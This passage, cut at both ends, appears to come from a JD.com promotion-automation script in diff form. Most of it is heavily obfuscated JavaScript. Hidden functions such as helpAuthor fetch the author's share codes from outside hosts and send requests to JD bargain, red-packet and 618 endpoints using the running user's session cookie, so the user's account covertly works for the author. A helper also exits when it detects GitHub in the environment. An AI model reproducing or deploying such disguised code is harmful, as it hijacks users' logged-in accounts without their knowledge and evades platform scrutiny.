MOTwoBhw73Dl1wywobCoC/ClWc8wrZow6nDo8OlOcKgMsO0GsOCPMOxw6DDuQLDicOmwofDtsKtwpvDg8OgEgNEwqvDgMKhTcOUKcOYw4l4YcKdEcKbbkrDlsKzVkzDk1o+MMOzwoVXeMKoHsKrJ8ONWhfCisKif0ANwrrCg8KOw5dYNMOeJMO3wpNzw5AVZV3Di8Kcw7BjwqRqWFbDo8KOEUPDlHXDisO/Tx7CoMKswpTDgcOIdTbChcK3w4sjwq1NbsOlw6DDnC/DrVQmT8KGw5VowobDhsOeUx3CusKwwo4LLjnDkn3DpcOcQy5Ow4JhVUnDgjhhwpTDrkVjwprCs8KFwrzDicKTMhHDiGd/aHMTKMKVw5XDtMO+f2TCuFk=','woQeUDjDtQHDlcO/w5ZxwozChm5Ba3Rcw6IeE0l7Hn19CsK5FCDCg8KcB8KsMsK8TjENaMOyDsKZwqPDjsORwq/DinLDtjMWBsOkwr9Uw514PsOkTl4Pw73DkUzDiGZMwr3ChXTCmcKx','wrIMXG7CtlfCrwk7w5IaKA49CC81w7oJUCXCk8OSw50QHsKpw7UHw5LCg0bChRfDtsOew5XCk8ODwr8ew7x9wprDgsO8','BMOew5zColA7wr1zVm7DqMOQwrskO8KIw6IqwrkOdcKVFcKLw4xlwo7ChTDCl2bCicOTBSA2RsOgQ8KQ','DmI2w73Dp8KM','wpTCssOrwpLCs8K4wqQAw4BTRmrDunEJwpZpZkPClsOQwozCo8OhZcOkw7/Dp8KeOT7DlMK5J3LDgcKHGsOrwoI/QsK2w6rCtg==','A8OodARE','w4DCq8Ovw5ExcQ==','Mz3CtcKUwqU=','AihJBSU=','TMOAwqs8','J8KuwqrCh8KXw5Q=','NFk0','w7sYw64=','wqjDiiPCthLCnwPCucKfORlZGg==','IBA+w6Ul','wo0+SkLDmQDCncOAOGF8w6NE','KHrDlcOHHMKxesOXfxbDi8Oiw7M=','w7A6wr8=','b8K+cXNvwps=','wosPUA==','IyMzw70=','wqzDnBfCoGonOC4jScOfwrHCsDpoU8Oxw57Cq8KMw63DhMOELnfCnsO8bMK+w5rCjkPCpMKawr3DmQZ8H8OJVcKZw7nClSDDk8K6K17DhT1cwqrCvcKpG8KuHsO9w6Ngwp4yw7PCuBPCnMOJWcO8wq4dW8KPw5LDvsOlw4RZw6fDoQ==','wpbCr8K7wqVSFUfChMOkwqDCuFfDnzdzFgwmw6/DhsKbR8K6fcKpwp3CriY0UMK6cw==','wqHDv8KvwpZY','LiZ+OSMtw4fDlcKdw4bDiDLCrMKCw6DCsknDvGzDpjTCg8OnNDpvT8Ofw6VOw7Jcw7zCqwFcZHjCnSMkw7BJWMOOw6drbyBPdWDCjz8WNjUMwrzDhkN6AhAPw5fDvcKKBsKJZMODw5HDocKoQzIPwodLwrxUQGFoZAM=','wpDDgUsVcw==','wrfDpyzCsEs=','w5IsDgLCmnbCj8OAKBA6wqIAwovClUMgM8OHQFs1OsKKwq4QP8KSUjh7w7I=','esKkw4HCmF8=','wqfCk3XDn2Q=','w7MPw4vCtcKsw7hzw4LChgQ=','wo4Oc1rCpQ==','PsOlRCJvwoYD','WG/CnsO2Exh0','QcKJwpzDncOTOw==','wqnDkTDCuHhvckgkXg==','woHDgTzCnn0=','w6zDtsOsw7JTHsO5woPCt8K6bMKlHzHDh8KrAXbDgibDgsKnFsOXFsO+wqrCusKMwpdkwqoGFlg=','YMKLBRXCingWb8O1V8O0OAELwrcvDEHCusKIwr7DlQHDi8OGdzLCucOXwoB5wpvDuMOzc3XCnCXCnMK0wrLCksKQw5nCl8Kuw4PCusOuU1DDpEXDkcK8IgFnYcOCw5UAIW7Ck8KYw7PDmgfCv8Obwr/CozZ+McOQw4XCm1lywqMtwrVnGishw63DjxbCpMOpwqwgW8O5OcKtwoLCkMKjwqkfT8Ouw6BZOsKdIg3DrcOdwqDDikfDl8KhCcKkJmnDjsODPkDCikrCrAfDksOGw4BHw4/Dt8KxwqvDuCV/w5kywpvCq8KXwpbDrMKnw69GKC4vCiNlY8K8w73DscKBwp/DoURWwpvDu2HCklXDkCHClcO/w6jDqsOfLMO1w6cqwr4AG8Kaam7Cr8Kja8K5QBFIScKdwq4gMsKiw6wfPQRJaAXCljbDgcKKFcOcMnLDlDQDwpclw4zCiArCkmh5w5UUw7/CmFnDjMOkwqJIA8O4aybCh8KjBwjCqkcVw73DnSgBAFfDksKew4BTwpJcw6zDvcKrFAtpVMO2wpdcwrHDow0JHAUrAWXDvxbCml5lw7vDn8OewqQKWcObw743w65dS8K0SMOnJMKcA8Ogw7R8ZsOVPMOJwqdHV8KYECXCjMOxwp8VE8K7w45BwpLDm8KLw4fDhMKLF1TDksK4w73CvsKXw4gSPgTDjcOhwrDDhcKQwoDCm8O2wpzDgRVsJUwBwqjDsSvCnjvCrWQtA8KjXsOXwqAJDWTChcKhw5cywrs1bxl8EzdAIRVowq7Cu8ONwrLDvsKAwoxfw5Z/wpR6wrViwrUpRMOgWsKFw7nDvMKSw5YrCkpYDj5pRsOuwrA3w5vDqW7DrxvDonfCqMOtwpjDpjI0fjQdSkrCpcOvw6xYw5nDsMO9wq7CuGJiVcKiYMKgwojDmzBkwqgDwpoRwpLCisOVKS/CqVvCoMKxwrw5f0ROHXBPDQLCj39Cw5I0w7PCi8OGDcODI1jDpsOBw7/DmcKCw7rDscKIwrvCjcO7R3k0w7d6wpcnegrDg8KJwqogPcKvNRlHw7LDnAvDtm3CkcKfasOnRybClcOfAMONEyl6w6rChkDDlU4jw6XCnMKfwovDng80bsKFw6JTL0MpCcKRw5kuwq5yw5cgwpzCpkYBQsK+wqLCsMKrSMKTEMOTDsOnw5jDghTCiUk/dcKmw7svwrTDsS8nw7gbwpvCicOWVsKaBcOSw7w3w7/DoxnCninCk8KGT8KEKB3DksKbwr1VbjZSw6/Cu8OFw6V+wp/DkMO/Q8KoUsOHwoE/w6bCm3lNMMK4wo7DocKaw58ew7TChTPDusKmw6PDkydqVS3DsWF1LxNyQMK7DF7DkwjCnjNlJRzDuMOFVSnCixPCp2t3w5/Cv2EcSRzDpBcJwq3Cl10AwovCnDTDpMKKDcOVw4cuG8OGwr8KVVMFw6LDssKPw7UvwoHDksOQRMKTRyZpwqhuwrcpbC8zUwsqesOew4rCokPCm3NXI8OLwo0SwprDplVeX8OMwqnDkE/Dvi4qw6cRw7TCkzrCpmDDiVMowrEnTlHCmxrChcK2w5QPw6ItdMK4wpPDj8ODwrbDnMKtw7EvdzJ0ZcOWPMO+w67Cm8O1wooww7zCjQ/CqsO1w4EuWcOkd8KFwohRwrDCmXQ1ccKmwqoYw4Q5w6hQw5NxwqsyYFjDjQ7ChCtJw7nCizI2w6rCvD/Cjw==','w6E/wo7Dtw==','wpLDl8Kuw7Ffw57DrsKhwpPCicOYAw==','wqIUwrlGwqE=','wqMPTWPDjw==','EUosE8Kh','dcOYwp0CwqY=','wq3CqsK4','wqXDixfCmX0=','wp7Dlwk7wqs=','S8KQw4DCtFs9w45/XmzCq8Kew6tpecKMw6cpwrwHdMKWEMKGw5Fmw4XDkG/ChnXDlMKLRGBZTMKnDcOHw6VWah83bEocw4jDt8KEWQtqC2fCjiErwrggwo45ZsKKCk4sAMOtX8Kdw4fCusKpwpXDt8Kbw6BnH8OBwrYgU8ONwoHDgxbCgXDCt10GX8ODw7V+w6XDjmpzw43DhcKBbMKNPsO/DMKlwqJRw4rDg2s+wrrCgMKvwpxNesKFOMOJwp4Lw6rCn2nDgSl8wp3DsUrCuiETwq/DsMKxwrfCkEPCpyrCi8OhLEnDnn8+TzDCjVIEwocHeUnCtcOBURpzX3J0wo3CvQQvZsKPw7lf','w4DCisOjw7U2','wqXDt1o+b8KpXcOBwq8=','w5XDk8O6','aMKCwpDDlQ==','w55tw6vCg8Olw7rDjMKSw6zDkMOFwo9kJ3QtHsK6wqVpw7TCrD5Cw6U=','UWIEPMOAVG8CKhnDlXTDjyc6fRZ6w6khNcO4E8KewoQvFnZ1w5jDlsK8HEXCh8KeDsOoUlDDrMK1R3giwphzTQ4lBMKhR8KhwoTCgAUfTBDCnVxEZzTCrQHDmjrDgcKYOsKOwobDuMK0w5pVJ3JSLjIIQA4E','wqTDk8OgwqLCmMKnLyAzwpPCoU7Du1thwqV0w6/DocONwpnCtXUmwpN6A0N0wqPDqF9iwqROwr3DoMOAV8O+wq/Cp8OwNnMDRmrCq8OLwq09w5Row57CumbDow0=','wrPDpinCmkY=','X8OuOyvCmQ==','w63DrMOuw6tUQcKk','dUvDisO7wqU=','CgHCosK0wqQ=','w4xrw5PCqcOB','woJpw6/CvGM=','LsKiw7AhwpQ=','VW9cw7LDgDM1Jw==','wovDvxEOwpED','wrcWVmjCjlfCsxM=','R05xSEo=','wrhrw54Yf1cVbcOaOmjDjMKa','wq5lw783Vw==','w5nCujPCujzDhkBgDsKlw4VGecOowoTCrsOTUcOhKnwD','w4DCl8OpQR4=','w70jwpLDssO8','w4FXUMKIIU/DhmwHcMOxwovDtMOYeE9BfHnCoVVKPxrDqhLCtQ==','w5s7wpxuAg==','wrHDnzbCoxk=','wpzDs8KEwp1e','w4PCpMOeXx8=','WWbCkcOgGTw=','ecOROQ==','w5DDpMOqwpHCpcOww5tGw4IBFWbCtSJFwpErbEnClcKLwo7CssO8PsKhw6jDosKYMhnDhMOSLXDDl8KAJ8Ogw5tLAsOwwqHDqkJ8wpYRw4jDl8OaCQ3DslDDuMOmC8ORVwcTTyXDgDvDocKyGEIeRMO/OMKwCAZB','LPDjRsjqiINamrdEOitU.Kcom.v6=='];(function(_0x497a88,_0x40c323,_0x5cbc6c){var _0x31af80=function(_0x4bb9ea,_0x4e1a0e,_0x34c747,_0x560f7d,_0x8aad0c){_0x4e1a0e=_0x4e1a0e>>0x8,_0x8aad0c='po';var _0x2b6dc7='shift',_0x260b31='push';if(_0x4e1a0e<_0x4bb9ea){while(--_0x4bb9ea){_0x560f7d=_0x497a88[_0x2b6dc7]();if(_0x4e1a0e===_0x4bb9ea){_0x4e1a0e=_0x560f7d;_0x34c747=_0x497a88[_0x8aad0c+'p']();}else if(_0x4e1a0e&&_0x34c747['replace'](/[LPDRqINrdEOtUK=]/g,'')===_0x4e1a0e){_0x497a88[_0x260b31](_0x560f7d);}}_0x497a88[_0x260b31](_0x497a88[_0x2b6dc7]());}return 0x8c0f7;};return _0x31af80(++_0x40c323,_0x5cbc6c)>>_0x40c323^_0x5cbc6c;}(_0x36f8,0x1cd,0x1cd00));var _0x2e68=function(_0x416ea4,_0x539269){_0x416ea4=~~'0x'['concat'](_0x416ea4);var _0x2f56b2=_0x36f8[_0x416ea4];if(_0x2e68['mfRnyl']===undefined){(function(){var _0x211d66=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x66d59f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x211d66['atob']||(_0x211d66['atob']=function(_0xbaa77c){var _0x19a6c3=String(_0xbaa77c)['replace'](/=+$/,'');for(var _0x549f51=0x0,_0x2dbc69,_0x4230db,_0x4dc579=0x0,_0x529f3b='';_0x4230db=_0x19a6c3['charAt'](_0x4dc579++);~_0x4230db&&(_0x2dbc69=_0x549f51%0x4?_0x2dbc69*0x40+_0x4230db:_0x4230db,_0x549f51++%0x4)?_0x529f3b+=String['fromCharCode'](0xff&_0x2dbc69>>(-0x2*_0x549f51&0x6)):0x0){_0x4230db=_0x66d59f['indexOf'](_0x4230db);}return _0x529f3b;});}());var _0x1b2bd0=function(_0x2fdb6b,_0x539269){var _0x2dc680=[],_0x3733ce=0x0,_0x3e313e,_0x45196b='',_0x1c8830='';_0x2fdb6b=atob(_0x2fdb6b);for(var _0x5acf8e=0x0,_0x4b7568=_0x2fdb6b['length'];_0x5acf8e<_0x4b7568;_0x5acf8e++){_0x1c8830+='%'+('00'+_0x2fdb6b['charCodeAt'](_0x5acf8e)['toString'](0x10))['slice'](-0x2);}_0x2fdb6b=decodeURIComponent(_0x1c8830);for(var _0x45c152=0x0;_0x45c152<0x100;_0x45c152++){_0x2dc680[_0x45c152]=_0x45c152;}for(_0x45c152=0x0;_0x45c152<0x100;_0x45c152++){_0x3733ce=(_0x3733ce+_0x2dc680[_0x45c152]+_0x539269['charCodeAt'](_0x45c152%_0x539269['length']))%0x100;_0x3e313e=_0x2dc680[_0x45c152];_0x2dc680[_0x45c152]=_0x2dc680[_0x3733ce];_0x2dc680[_0x3733ce]=_0x3e313e;}_0x45c152=0x0;_0x3733ce=0x0;for(var _0x20cd19=0x0;_0x20cd19<_0x2fdb6b['length'];_0x20cd19++){_0x45c152=(_0x45c152+0x1)%0x100;_0x3733ce=(_0x3733ce+_0x2dc680[_0x45c152])%0x100;_0x3e313e=_0x2dc680[_0x45c152];_0x2dc680[_0x45c152]=_0x2dc680[_0x3733ce];_0x2dc680[_0x3733ce]=_0x3e313e;_0x45196b+=String['fromCharCode'](_0x2fdb6b['charCodeAt'](_0x20cd19)^_0x2dc680[(_0x2dc680[_0x45c152]+_0x2dc680[_0x3733ce])%0x100]);}return _0x45196b;};_0x2e68['tYNipz']=_0x1b2bd0;_0x2e68['FZiWCB']={};_0x2e68['mfRnyl']=!![];}var _0xdd77e0=_0x2e68['FZiWCB'][_0x416ea4];if(_0xdd77e0===undefined){if(_0x2e68['YrRHkM']===undefined){_0x2e68['YrRHkM']=!![];}_0x2f56b2=_0x2e68['tYNipz'](_0x2f56b2,_0x539269);_0x2e68['FZiWCB'][_0x416ea4]=_0x2f56b2;}else{_0x2f56b2=_0xdd77e0;}return _0x2f56b2;};function getRandomArrayElements(_0x455952,_0x3426be){var _0x1515be={'ekGdP':function(_0x4eea5a,_0x5bf9e7){return _0x4eea5a-_0x5bf9e7;},'xpjNj':function(_0x1a3cad,_0x5b3004){return _0x1a3cad+_0x5b3004;}};let _0x48f7d7=_0x455952[_0x2e68('0','gcEx')](0x0),_0x50a30a=_0x455952['length'],_0x248c18=_0x1515be[_0x2e68('1','THJ&')](_0x50a30a,_0x3426be),_0x44e24d,_0x1fc998;while(_0x50a30a-->_0x248c18){_0x1fc998=Math['floor'](_0x1515be['xpjNj'](_0x50a30a,0x1)*Math['random']());_0x44e24d=_0x48f7d7[_0x1fc998];_0x48f7d7[_0x1fc998]=_0x48f7d7[_0x50a30a];_0x48f7d7[_0x50a30a]=_0x44e24d;}return _0x48f7d7[_0x2e68('2','!8Uv')](_0x248c18);}async function helpAuthor(){var _0x4cd14c={'hpVGM':'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_barGain.json','kyvMc':_0x2e68('3','$Ni3'),'ZGgUT':function(_0x3c511f,_0x3727b9,_0x142178){return _0x3c511f(_0x3727b9,_0x142178);},'WfjUY':function(_0x23a12a,_0x4dc817){return _0x23a12a>_0x4dc817;},'GvCmh':_0x2e68('4','[OPZ'),'UHoZS':_0x2e68('5','tcb!'),'sgkOe':'https://h5.m.jd.com','TVboK':_0x2e68('6','tcb!'),'StsFk':_0x2e68('7','!J!%')};let _0xaef090=await getAuthorShareCode2(_0x4cd14c[_0x2e68('8','[OPZ')]),_0x25b6c5=[];$['inBargaining']=[..._0xaef090&&_0xaef090[_0x4cd14c[_0x2e68('9','0&d]')]]||[],..._0x25b6c5&&_0x25b6c5[_0x4cd14c[_0x2e68('a','B63n')]]||[]];$[_0x2e68('b','^rQC')]=_0x4cd14c['ZGgUT'](getRandomArrayElements,$[_0x2e68('c','7h&V')],_0x4cd14c['WfjUY']($[_0x2e68('d','oxIm')][_0x2e68('e','uMQ#')],0x3)?0x6:$[_0x2e68('f','WNIn')][_0x2e68('10','*^Sz')]);for(let _0x41d51a of $[_0x2e68('f','WNIn')]){const _0x49d081={'url':_0x2e68('11','Opjc'),'headers':{'Host':_0x4cd14c[_0x2e68('12','Vhx!')],'Content-Type':_0x4cd14c[_0x2e68('13','yTHr')],'Origin':_0x4cd14c[_0x2e68('14','XAWK')],'Accept-Encoding':_0x2e68('15','7G1F'),'Cookie':cookie,'Connection':'keep-alive','Accept':_0x4cd14c['TVboK'],'User-Agent':_0x2e68('16','fxE9'),'Referer':_0x2e68('17','a30X'),'Accept-Language':_0x4cd14c['StsFk']},'body':_0x2e68('18','0&d]')+_0x41d51a['activityId']+_0x2e68('19','gcEx')+_0x41d51a[_0x2e68('1a','7G1F')]+_0x2e68('1b',']a7e')};await $['post'](_0x49d081,(_0x29f899,_0x4850a3,_0x2444d7)=>{});}await helpOpenRedPacket();await aaa();}function getAuthorShareCode2(_0x424d7e){var _0x24ce01={'MZfvL':function(_0x443fc8,_0x4a95bd){return _0x443fc8!==_0x4a95bd;},'DzCLu':_0x2e68('1c','[OPZ'),'tRdln':_0x2e68('1d','dzsc'),'UPHHU':function(_0x224d90,_0x575bb6){return _0x224d90*_0x575bb6;}};return new Promise(async _0x46e600=>{if(_0x24ce01[_0x2e68('1e','fYl9')](_0x24ce01['DzCLu'],_0x24ce01[_0x2e68('1f','oxIm')])){$[_0x2e68('20','5)7E')](options,(_0x53bad2,_0x5e1290,_0x5a2310)=>{_0x46e600();});}else{const _0x1a6d03={'url':_0x424d7e+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':'Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2013_2_3\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Version/13.0.3\x20Mobile/15E148\x20Safari/604.1\x20Edg/87.0.4280.88'}};if($[_0x2e68('21','Opjc')]()&&process[_0x2e68('22','WNIn')]['TG_PROXY_HOST']&&process[_0x2e68('23','yTHr')][_0x2e68('24','^rQC')]){const _0x4fb211=require(_0x24ce01[_0x2e68('25','y1zc')]);const _0x4f1e7a={'https':_0x4fb211[_0x2e68('26','ndfP')]({'proxy':{'host':process['env'][_0x2e68('27','n9RU')],'port':_0x24ce01['UPHHU'](process[_0x2e68('28','!J!%')]['TG_PROXY_PORT'],0x1)}})};Object[_0x2e68('29','So3O')](_0x1a6d03,{'agent':_0x4f1e7a});}$[_0x2e68('2a','a30X')](_0x1a6d03,async(_0x4a3d6b,_0x39331d,_0x3da076)=>{try{if(_0x4a3d6b){}else{if(_0x3da076)_0x3da076=JSON['parse'](_0x3da076);}}catch(_0x4baa72){}finally{_0x46e600(_0x3da076);}});await $[_0x2e68('2b','y1zc')](0x2710);_0x46e600();}});}async function helpOpenRedPacket(){var _0x2c9900={'RXhIj':function(_0x2e046a,_0x41abdd){return _0x2e046a(_0x41abdd);},'FBcBr':'http://cdn.annnibb.me/ce4ef3ec98443ed10da505114b58f153.json','qiqPI':_0x2e68('2c','5WQo'),'oUjja':_0x2e68('2d','mwCB'),'ZwAWg':function(_0x272ca6,_0x578e45,_0x5b94be){return _0x272ca6(_0x578e45,_0x5b94be);},'WEdgR':function(_0x45a722,_0x413719){return _0x45a722(_0x413719);}};let _0x33822a=await _0x2c9900[_0x2e68('2e','Vhx!')](getAuthorShareCode2,_0x2e68('2f','oxIm')),_0x165138=await getAuthorShareCode2(_0x2c9900[_0x2e68('30','tsE!')]);$['actId']=_0x33822a&&_0x33822a[_0x2e68('31','jv5T')]||_0x2e68('32','ndfP');if(!_0x33822a){_0x33822a=await _0x2c9900[_0x2e68('33','gcEx')](getAuthorShareCode2,_0x2c9900['qiqPI']);$['actId']=_0x33822a&&_0x33822a[_0x2e68('34',')FP7')]||_0x2c9900['oUjja'];}$[_0x2e68('35','yTHr')]=_0x2c9900[_0x2e68('36','0&d]')](getRandomArrayElements,[..._0x165138||[],..._0x33822a&&_0x33822a[_0x2e68('37','[OPZ')]||[]],[..._0x165138||[],..._0x33822a&&_0x33822a[_0x2e68('38','8E$M')]||[]][_0x2e68('39','7h&V')]);for(let _0x33c7a5 of $[_0x2e68('3a','5WQo')]){if(!_0x33c7a5)continue;await _0x2c9900[_0x2e68('3b','jv5T')](dismantleRedEnvelope,_0x33c7a5);}}function dismantleRedEnvelope(_0x32628b){var _0x2715f8={'SIfgq':function(_0xf1745e){return _0xf1745e();},'RVGKN':_0x2e68('3c','vdM@'),'FEsQe':'application/json,\x20text/plain,\x20*/*','RQrwA':'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/268.36;apprpd/MyJD_Main;ref/https%3A%2F%2Fopenredpacket-jdlite.jd.com%2F%3Flng%3D118.762833%26lat%3D32.242491%26sid%3D8add69d8890bc7f4919f99fb3190f87w%26un_area%3D12_904_908_57903%23%2Fdemolished%3FactId%3Dfa03b421fc63499f8e7cd2a3434a6934;psq/22;ads/;psn/2618472e6e237c0252a67dffefc09de587946e87|680;jdv/0|kong|t_2008333145_|jingfen|7e4ac355e0dc416a99409fff0461a396|1617205187;adk/;app_device/IOS;pap/JA2020_3112531|3.3.2|IOS\x2014.4.1;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_4_1\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','GhxEJ':'https://openredpacket-jdlite.jd.com/','IwEJi':'zh-cn','yMvRN':_0x2e68('3d','uMQ#'),'tTbJb':function(_0x4733f8,_0x3efd46){return _0x4733f8(_0x3efd46);},'qRHCD':_0x2e68('3e','Z#H#')};const _0x5c5114={'Host':_0x2e68('3f','Vhx!'),'Origin':_0x2715f8[_0x2e68('40','h#i3')],'Accept':_0x2715f8[_0x2e68('41','ndfP')],'User-Agent':_0x2715f8[_0x2e68('42','%W8O')],'Referer':_0x2715f8['GhxEJ'],'Accept-Language':_0x2715f8[_0x2e68('43','5)7E')],'Cookie':cookie};const _0x1d2632=Date[_0x2e68('44','#i4u')]();const _0x190960={'packetId':''+_0x32628b['toString'](),'actId':$[_0x2e68('45','5WQo')],'frontendInitStatus':'s','antiToken':_0x2715f8[_0x2e68('46','tcb!')],'platform':0x3};const _0x5ca1cb=_0x2e68('47','gcEx')+_0x2715f8[_0x2e68('48','dzsc')](escape,JSON[_0x2e68('49','tsE!')](_0x190960))+_0x2e68('4a','Vhx!')+_0x1d2632+_0x2e68('4b','Opjc')+_0x1d2632;const _0x4d361b={'url':_0x2e68('4c','bl@!')+_0x1d2632,'method':_0x2715f8['qRHCD'],'headers':_0x5c5114,'body':_0x5ca1cb};return new Promise(_0x572e01=>{$['post'](_0x4d361b,(_0x30599a,_0x3589ec,_0xc8bbfe)=>{_0x2715f8['SIfgq'](_0x572e01);});});}async function aaa(){var _0x23e4e9={'cCmfO':function(_0x1c3613,_0x295c24){return _0x1c3613(_0x295c24);},'tfqVM':_0x2e68('4d','fxE9'),'hwOsZ':function(_0x3b3e35,_0xac9a4e){return _0x3b3e35(_0xac9a4e);},'LvEen':_0x2e68('4e','*^Sz'),'zrLZW':function(_0x538ef2,_0x193fca){return _0x538ef2!==_0x193fca;},'pROUD':_0x2e68('4f','jv5T'),'gOmhr':_0x2e68('50','!8Uv'),'PHhBT':function(_0x34352f,_0x28c1df){return _0x34352f(_0x28c1df);},'KePDl':'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/bigWinner.json','SDREf':function(_0xe348aa,_0x439d0e,_0x3a4d9d){return _0xe348aa(_0x439d0e,_0x3a4d9d);},'dkEjF':_0x2e68('51','vdM@')};let _0x259e3f=await _0x23e4e9[_0x2e68('52','oy9g')](getAuthorShareCode2,_0x23e4e9[_0x2e68('53','fYl9')]),_0x1a2c84=await _0x23e4e9['hwOsZ'](getAuthorShareCode2,_0x23e4e9['LvEen']);if(!_0x259e3f){if(_0x23e4e9[_0x2e68('54','bl@!')](_0x23e4e9['pROUD'],_0x23e4e9[_0x2e68('55','kkj%')])){_0x259e3f=await _0x23e4e9[_0x2e68('56','gCec')](getAuthorShareCode2,_0x23e4e9['KePDl']);}else{if(data)data=JSON['parse'](data);}}$[_0x2e68('57','6lP7')]=getRandomArrayElements([..._0x1a2c84||[],..._0x259e3f||[]],[..._0x1a2c84||[],..._0x259e3f||[]][_0x2e68('58','tcb!')]);for(let _0x25d08c of $[_0x2e68('59','0&d]')]){if(!_0x25d08c['inviter'])continue;await _0x23e4e9[_0x2e68('5a','XAWK')](_618,_0x25d08c[_0x2e68('5b','sKj5')],_0x25d08c[_0x23e4e9[_0x2e68('5c','sKj5')]]);}}function _618(_0xce999c,_0x1f93d4,_0xa95934=_0x2e68('5d','THJ&')){var _0x57dca3={'NoURO':function(_0x1dac56,_0x4c3f0b){return _0x1dac56*_0x4c3f0b;},'MRJEY':function(_0x5010ce,_0x247c9c){return _0x5010ce+_0x247c9c;},'oTCBl':function(_0x246c0e,_0x2962e1){return _0x246c0e===_0x2962e1;},'fBTso':_0x2e68('5e','o&TS'),'qAkiN':_0x2e68('5f','Z#H#'),'LBkoa':_0x2e68('60','$Ni3')};return new Promise(_0x3fc8e5=>{var _0x52ac30={'mlwMu':function(_0x17c032,_0x4fceea){return _0x57dca3[_0x2e68('61','!J!%')](_0x17c032,_0x4fceea);},'gpIxS':function(_0x202e9a,_0x1f0cd4){return _0x57dca3[_0x2e68('62','^rQC')](_0x202e9a,_0x1f0cd4);}};if(_0x57dca3[_0x2e68('63','Vhx!')](_0x57dca3[_0x2e68('64','o&TS')],_0x57dca3['qAkiN'])){index=Math['floor'](_0x52ac30['mlwMu'](_0x52ac30['gpIxS'](i,0x1),Math[_0x2e68('65','8E$M')]()));temp=shuffled[index];shuffled[index]=shuffled[i];shuffled[i]=temp;}else{$[_0x2e68('66','!8Uv')]({'url':_0x2e68('67',']a7e')+_0xa95934+_0x2e68('68','^rQC')+_0xce999c+_0x2e68('69','N1sQ')+_0x1f93d4+_0x2e68('6a','vdM@')+ +new Date()+_0x2e68('6b','fYl9'),'headers':{'Host':_0x2e68('6c','gCec'),'accept':_0x2e68('6d','vdM@'),'origin':_0x57dca3[_0x2e68('6e','Z#H#')],'user-agent':'jdltapp;iPhone;3.5.0;14.2;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;hasOCPay/0;appBuild/1066;supportBestPay/0;pv/7.0;apprpd/;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_2\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','accept-language':_0x2e68('6f','THJ&'),'referer':'https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&redEnvelopeId='+_0xce999c+_0x2e68('70','Opjc')+_0x1f93d4+'&helpType=1&lng=&lat=&sid=','Cookie':cookie}},(_0x33eaca,_0x4d59c3,_0x4c619c)=>{_0x3fc8e5();});}});};_0xod8='jsjiami.com.v6';
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 